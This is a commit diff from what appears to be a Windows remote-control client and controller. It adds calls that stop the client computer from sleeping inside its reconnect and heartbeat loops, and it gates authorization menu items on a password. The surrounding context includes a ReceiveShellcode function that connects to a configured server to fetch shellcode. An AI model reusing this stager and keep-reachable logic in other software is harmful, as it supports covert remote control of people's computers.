Improve: Avoid client computer going to sleep
This commit is contained in:
@@ -517,6 +517,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
|
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
|
||||||
{
|
{
|
||||||
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
|
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
|
||||||
|
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
SAFE_DELETE(Manager);
|
SAFE_DELETE(Manager);
|
||||||
@@ -529,6 +530,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
do
|
do
|
||||||
{
|
{
|
||||||
Manager->SendHeartbeat();
|
Manager->SendHeartbeat();
|
||||||
|
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
|
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
|
||||||
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
||||||
Sleep(200);
|
Sleep(200);
|
||||||
|
|||||||
@@ -131,6 +131,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
|
|||||||
serverAddr.sin_addr.s_addr = inet_addr(serverIP);
|
serverAddr.sin_addr.s_addr = inet_addr(serverIP);
|
||||||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||||
closesocket(clientSocket);
|
closesocket(clientSocket);
|
||||||
|
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -175,6 +175,7 @@ public:
|
|||||||
serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());
|
serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());
|
||||||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||||
closesocket(clientSocket);
|
closesocket(clientSocket);
|
||||||
|
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
|
|||||||
@@ -464,9 +464,13 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
|||||||
m_MainMenu.LoadMenu(IDR_MENU_MAIN);
|
m_MainMenu.LoadMenu(IDR_MENU_MAIN);
|
||||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
|
CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
|
||||||
std::string masterHash(GetMasterHash());
|
std::string masterHash(GetMasterHash());
|
||||||
if (GetPwdHash() != masterHash) {
|
if (GetPwdHash() != masterHash || m_superPass.empty()) {
|
||||||
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
|
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
|
||||||
}
|
}
|
||||||
|
SubMenu = m_MainMenu.GetSubMenu(2);
|
||||||
|
if (!THIS_CFG.GetStr("settings", "Password").empty()) {
|
||||||
|
SubMenu->DeleteMenu(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND);
|
||||||
|
}
|
||||||
|
|
||||||
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //为窗口设置菜单
|
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //为窗口设置菜单
|
||||||
::DrawMenuBar(this->GetSafeHwnd()); //显示菜单
|
::DrawMenuBar(this->GetSafeHwnd()); //显示菜单
|
||||||
@@ -1287,6 +1291,12 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]);
|
||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]);
|
||||||
|
|
||||||
|
std::string masterHash(GetMasterHash());
|
||||||
|
if (GetPwdHash() != masterHash || m_superPass.empty()) {
|
||||||
|
Menu.DeleteMenu(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND);
|
||||||
|
Menu.DeleteMenu(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND);
|
||||||
|
}
|
||||||
|
|
||||||
// 创建一个新的子菜单
|
// 创建一个新的子菜单
|
||||||
CMenu newMenu;
|
CMenu newMenu;
|
||||||
if (!newMenu.CreatePopupMenu()) {
|
if (!newMenu.CreatePopupMenu()) {
|
||||||
|
|||||||
Reference in New Issue
Block a user